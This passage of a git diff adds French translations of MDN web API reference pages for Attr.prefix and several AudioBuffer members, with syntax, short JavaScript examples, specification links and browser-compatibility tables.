+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge Mobile</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>17</td>
+   <td>{{CompatGeckoMobile("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+
+<div id="compat-mobile"> </div>
+
+<p>[1] Cet API était auparavant disponible dans l'API {{domxref("Node")}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Attr.localName")}}</li>
+ <li>{{domxref("Attr.prefix")}}</li>
+ <li>{{domxref("Element.namespaceURI")}}</li>
+ <li>{{domxref("Node.namespaceURI")}}</li>
+</ul>
diff --git a/files/fr/web/api/attr/prefix/index.html b/files/fr/web/api/attr/prefix/index.html
new file mode 100644
index 0000000000..1749174b01
--- /dev/null
+++ b/files/fr/web/api/attr/prefix/index.html
@@ -0,0 +1,117 @@
+---
+title: Attr.prefix
+slug: Web/API/Attr/prefix
+tags:
+  - API
+  - DOM
+  - Propriétés
+  - Reference
+translation_of: Web/API/Attr/prefix
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propriété <strong><code>Attr.prefix </code></strong>en lecture seule renvoie le préfixe de l'espace de noms de l'attribut spécifié ou null si aucun préfixe n'est spécifié</p>
+
+<div class="note">
+<p>Avant DOM4, cette API a été définie dans l'interface {{domxref ("Node")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>string</var> = <var>attribute</var>.prefix
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le code suivant affiche "x" dans la console.</p>
+
+<pre class="brush:xml">&lt;div x:id="example" onclick="console.log(this.attributes[0].prefix)"/&gt;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cela ne fonctionnera que lorsqu'un analyseur conscient de l'espace de noms est utilisé, c'est-à-dire lorsqu'il s'agit d'un document avec un type MIME XML. Cela ne fonctionnera pas pour les documents HTML.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-attr-prefix", "Attr.prefix")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>46.0<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Cet API <span class="short_text" id="result_box" lang="fr"><span>était auparavant disponible sur l'API</span></span> {{domxref("Node")}}.</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("Attr.namespaceURI")}}</li>
+ <li>{{domxref("Attr.localName")}}</li>
+ <li>{{domxref("Element.prefix")}}</li>
+ <li>{{domxref("Node.prefix")}}</li>
+</ul>
diff --git a/files/fr/web/api/audiobuffer/audiobuffer/index.html b/files/fr/web/api/audiobuffer/audiobuffer/index.html
new file mode 100644
index 0000000000..a6d231a809
--- /dev/null
+++ b/files/fr/web/api/audiobuffer/audiobuffer/index.html
@@ -0,0 +1,104 @@
+---
+title: AudioBuffer()
+slug: Web/API/AudioBuffer/AudioBuffer
+translation_of: Web/API/AudioBuffer/AudioBuffer
+---
+<p>{{APIRef("Web Audio API")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary">Le constructeur <strong><code>AudioBuffer</code></strong> créer un nouvel objet {{domxref("AudioBuffer")}}.</span></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var audioBuffer = new AudioBuffer([options]);
+var audioBuffer = new AudioBuffer(context[, options]);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>context </em>{{obsolete_inline("")}}</dt>
+ <dd>Référence à un {{domxref("AudioContext")}}. Ce paramètre a été supprimer de la specification. <span id="result_box" lang="fr"><span>Consultez la section Compatibilité du navigateur pour plus de détails.</span></span></dd>
+ <dt><em>options</em> {{optional_inline}}</dt>
+ <dd>Les options sont les suivantes:
+ <ul>
+  <li><code>length</code>:  L<span id="result_box" lang="fr"><span>ongueur de l'échantillonnage du tampon</span></span>.</li>
+  <li><code>numberOfChannels</code>: Nombre de cannaux du buffer. La valeur par défaut est 1. </li>
+  <li><code>sampleRate</code>: Taux d'échantillonnage du buffer en Hz. La valeur par défaut est le taux d'<span id="result_box" lang="fr"><span>échantillonnage du </span></span><code>context</code><span lang="fr"><span> utilisé dans la construction de cet objet </span></span></li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API','#AudioBuffer','AudioBuffer')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_Navigateurs">Compatibilité des Navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(55)}}<br>
+    {{CompatChrome(58)}} (no <code>context</code> parameter)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}<br>
+    {{CompatOpera(45)}} (no <code>context</code> parameter)</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome pour Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(55)}}<br>
+    {{CompatChrome(58)}} (no <code>context</code> parameter)</td>
+   <td>{{CompatChrome(55)}}<br>
+    {{CompatChrome(58)}} (no <code>context</code> parameter)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(42)}}<br>
+    {{CompatOperaMobile(45)}}  (no <code>context</code> parameter)</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/audiobuffer/copyfromchannel/index.html b/files/fr/web/api/audiobuffer/copyfromchannel/index.html
new file mode 100644
index 0000000000..249358ec17
--- /dev/null
+++ b/files/fr/web/api/audiobuffer/copyfromchannel/index.html
@@ -0,0 +1,142 @@
+---
+title: AudioBuffer.copyFromChannel()
+slug: Web/API/AudioBuffer/copyFromChannel
+tags:
+  - API
+  - Méthode
+  - Reference
+  - Web Audio API
+translation_of: Web/API/AudioBuffer/copyFromChannel
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p><span class="seoSummary">La méthode <code>copyFromChannel() </code>de l'interface {{ domxref("AudioBuffer") }} copie les échantillons de l'un des canaux de l'<code>AudioBuffer</code> dans un tableau.</span></p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>tableauDonnees</em>.copyFromChannel(<em>destination</em>,numeroCanal,decalageDebut);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>destination</em></dt>
+ <dd>Un tableau {{domxref("Float32Array")}} dans lequel copier les données.</dd>
+ <dt><em>channelNumber</em></dt>
+ <dd>Le numéro du canal de l'AudioBuffer depuis lequel copier les données. Si <em>channelNumber</em> est supérieur ou égal à {{domxref("AudioBuffer.numberOfChannels")}}, une exception <code>INDEX_SIZE_ERR est</code> levée.</dd>
+ <dt><em>startInChannel</em> {{optional_inline}}</dt>
+ <dd>Un offset optionnel à partir duquel copier les données. Si la valeur de <em>startInChannel</em> est supérieure à {{domxref("AudioBuffer.length")}}, une exception <code>INDEX_SIZE_ERR</code> est levée.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var tableauDonnees = contextAudio.createBuffer(2, frameCount, contextAudio.sampleRate);
+var autreTableau = new Float32Array(length);
+tableauDonnees.copyFromChannel(autreTableau,1,0);
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioBuffer-copyFromChannel-void-Float32Array-destination-long-channelNumber-unsigned-long-startInChannel', 'copyFromChannel')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(14.0)}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(27)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Non préfixé</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(27)}}</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(28.0)}} {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Non prefixé</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audiobuffer/copytochannel/index.html b/files/fr/web/api/audiobuffer/copytochannel/index.html
new file mode 100644
index 0000000000..664bacb843
--- /dev/null
+++ b/files/fr/web/api/audiobuffer/copytochannel/index.html
@@ -0,0 +1,141 @@
+---
+title: AudioBuffer.copyToChannel()
+slug: Web/API/AudioBuffer/copyToChannel
+translation_of: Web/API/AudioBuffer/copyToChannel
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p><span class="seoSummary">La méthode <code>copyToChannel() </code>de l'interface {{ domxref("AudioBuffer") }} copie les échantillons du tableau source vers le canal de l'<code>AudioBuffer</code> spécifié.</span></p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>myArrayBuffer</em>.copyToChannel(<em>source</em>, <em>channelNumber</em>, <em>startInChannel</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>source</em></dt>
+ <dd>Le tableau {{jsxref("Float32Array")}} depuis lequel copier les données.</dd>
+ <dt><em>channelNumber</em></dt>
+ <dd>Le numéro du canal de l'{{domxref("AudioBuffer")}} dans lequel copier les données. Si <em>channelNumber</em> est supérieur ou égal à {{domxref("AudioBuffer.numberOfChannels")}}, une exception <code>INDEX_SIZE_ERR est</code> levée.</dd>
+ <dt><em>startInChannel {{optional_inline}}</em></dt>
+ <dd>Un offset optionnel à partir duquel copier les données. Si la valeur de <em>startInChannel</em> est supérieure à {{domxref("AudioBuffer.length")}}, une exception <code>INDEX_SIZE_ERR</code> est levée.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var tableauDonnees = contextAudio.createBuffer(2, frameCount, contextAudio.sampleRate);
+var autreTableau = new Float32Array;
+// Copy les données depuis le second canal vers le second tableau.
+tableauDonnees.copyFromChannel(autreTableau,1,0);
+// Copie les données depuis le second tableau vers le premier canal du premier tableau. A présent les deux canaux ont des données identiques.
+tableauDonnees.copyToChannel (autreTableau,0,0);
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioBuffer-copyToChannel-void-Float32Array-source-long-channelNumber-unsigned-long-startInChannel', 'copyToChannel')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(14.0)}} {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(27)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Non préfixé</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25)}}</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(28.0)}} {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Non préfixé</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audiobuffer/duration/index.html b/files/fr/web/api/audiobuffer/duration/index.html
new file mode 100644
index 0000000000..88bf829765
--- /dev/null
+++ b/files/fr/web/api/audiobuffer/duration/index.html
@@ -0,0 +1,128 @@
+---
+title: AudioBuffer.duration
+slug: Web/API/AudioBuffer/duration
+translation_of: Web/API/AudioBuffer/duration
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>La propriéré <code>duration</code>  de l'interface {{ domxref("AudioBuffer") }} renvoie un nombre flottant à double précision représentant la durée, en secondes, des données PCM stockées dans le buffer.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js;highlight[22]">var tableauTampon = audioCtx.createBuffer(nombreCanaux, nombreFrames, contexteAudio.sampleRate);
+tableauTampon.duration;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Nombre flottant à double précision.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js;highlight[22]">// Stereo
+var nombreCanaux = 2;
+
+// Crée une mémoire tampon vide de 2 secondes
+// à la fréquence d'échantillonage du contexte AudioContext
+var nombreFrames = contexteAudio.sampleRate * 2.0;
+var tableauDonnees = audioCtx.createBuffer(nombreCanaux, nombreFrames, contexteAudio.sampleRate);
+
+bouton.onclick = function() {
+  // remplit la mémoire tampon avec du bruit blanc
+  // valeurs aléatoires entre -1.0 et 1.0
+  for (var canal = 0; canal &lt; nombreCanaux; canal++) {
+    // génère le tableau contenant les données
+    var tampon = tableauDonnees.getChannelData(canal);
+    for (var i = 0; i &lt; nombreFrames; i++) {
+      // Math.random() donne une valeur comprise entre [0; 1.0]
+      // l'audio doit être compris entre [-1.0; 1.0]
+      tampon[i] = Math.random() * 2 - 1;
+    }
+  }
+  console.log(tableauDonnees.duration);
+}
+</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioBuffer-duration', 'duration')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>25</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audiobuffer/getchanneldata/index.html b/files/fr/web/api/audiobuffer/getchanneldata/index.html
new file mode 100644
index 0000000000..6b06c4ead2
--- /dev/null
+++ b/files/fr/web/api/audiobuffer/getchanneldata/index.html
@@ -0,0 +1,157 @@
+---
+title: AudioBuffer.getChannelData()
+slug: Web/API/AudioBuffer/getChannelData
+translation_of: Web/API/AudioBuffer/getChannelData
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<div>
+<p><span class="seoSummary">La méthode </span><code>getChannelData</code><span class="seoSummary"><code>() </code>de l'interface {{ domxref("AudioBuffer") }} renvoie un </span>{{domxref("Float32Array")}} contenant les données PCM associées au canal spécifié (0 correspondant au premier canal)<span class="seoSummary">.</span></p>
+</div>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js;highlight[22]">var tableauDonnees = contexteAudio.createBuffer(nombreCanaux, nombreFrames, contexteAudio.sampleRate);
+var tampon = tableauDonnees.getChannelData(canal);</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un {{domxref("Float32Array")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple suivant crée un buffer de 2 secondes, le remplit avec du bruit blanc puis le lit via un {{ domxref("AudioBufferSourceNode") }}. Vous pouvez aussi <a href="http://mdn.github.io/audio-buffer/">exécuter le code</a>, or <a href="https://github.com/mdn/audio-buffer">voir le code source</a>.</p>
+
+<pre class="brush: js;highlight[21]">var contexteAudio = new (window.AudioContext || window.webkitAudioContext)();
+var bouton = document.querySelector('button');
+var preformate = document.querySelector('pre');
+var monScript = document.querySelector('script');
+
+preformate.innerHTML = monScript.innerHTML;
+
+// Stéréo
+var nombreCanaux = 2;
+// Crée un buffer vide de 2 secondes
+// au taux d'échantillonage du contexte audio
+var nombreFrames = contexteAudio.sampleRate * 2.0;
+
+var tableauDonnees = contexteAudio.createBuffer(nombreCanaux, nombreFrames, contexteAudio.sampleRate);
+
+bouton.onclick = function() {
+  // remplit la mémoire tampon avec du bruit blanc
+  // valeurs aléatoires entre -1.0 et 1.0
+  for (var canal = 0; canal &lt; nombreCanaux; canal++) {
+    // génère le tableau contenant les données
+    var tampon = tableauDonnees.getChannelData(canal);
+    for (var i = 0; i &lt; nombreFrames; i++) {
+      // Math.random() donne une valeur comprise entre [0; 1.0]
+      // l'audio doit être compris entre [-1.0; 1.0]
+      tampon[i] = Math.random() * 2 - 1;
+    }
+  }
+
+  // Récupère un AudioBufferSourceNode.
+  // C'est un AudioNode à utiliser quand on veut jouer AudioBuffer
+  var source = contexteAudio.createBufferSource();
+
+  // assigne le buffer au AudioBufferSourceNode
+  source.buffer = tableauDonnees;
+
+  // connecte le AudioBufferSourceNode avec
+  // la destination pour qu'on puisse entendre le son
+  source.connect(contexteAudio.destination);
+
+  // lance la lecture du so
+  source.start();
+}</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt>channel</dt>
+ <dd>The channel property is an index representing the particular channel to get data for. An index value of 0 represents the first channel. If the <code>channel</code> index value is greater than of equal to {{domxref("AudioBuffer.numberOfChannels")}}, an <code>INDEX_SIZE_ERR</code> exception will be thrown.</dd>
+</dl>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioBuffer-getChannelData-Float32Array-unsigned-long-channel', 'getChannelData')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>25</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audiobuffer/index.html b/files/fr/web/api/audiobuffer/index.html
new file mode 100644
index 0000000000..591814a229
--- /dev/null
+++ b/files/fr/web/api/audiobuffer/index.html
@@ -0,0 +1,213 @@
+---
+title: AudioBuffer
+slug: Web/API/AudioBuffer
+tags:
+  - API
+  - Experimental
+  - Reference
+  - Web Audio API
+translation_of: Web/API/AudioBuffer
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<p>L'interface AudioBuffer représente une ressource audio stockée en mémoire, créée à partir d'un fichier audio avec la méthode {{ domxref("AudioContext.decodeAudioData()") }}, ou à partir de données brutes avec {{ domxref("AudioContext.createBuffer()") }}. Une fois mises en mémoire dans un AudioBuffer, les données audio sont transférées dans un {{ domxref("AudioBufferSourceNode") }} afin d'être lues.<br>
+ <br>
+ Ce type d'objet est conçu pour contenir de petit extraits audio, durant généralement moins de 45s. Pour les sons plus longs, les objets implémentant {{domxref ("MediaAudioElementSourceNode")}} sont plus adaptés. La mémoire tampon contient des données au format non entrelacé IEEE 32-bit PCM linéaire, avec une portée nominale comprise entre -1 et +1. S'il y a plusieurs canaux, ils sont stockés dans des mémoires-tampon distinctes.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
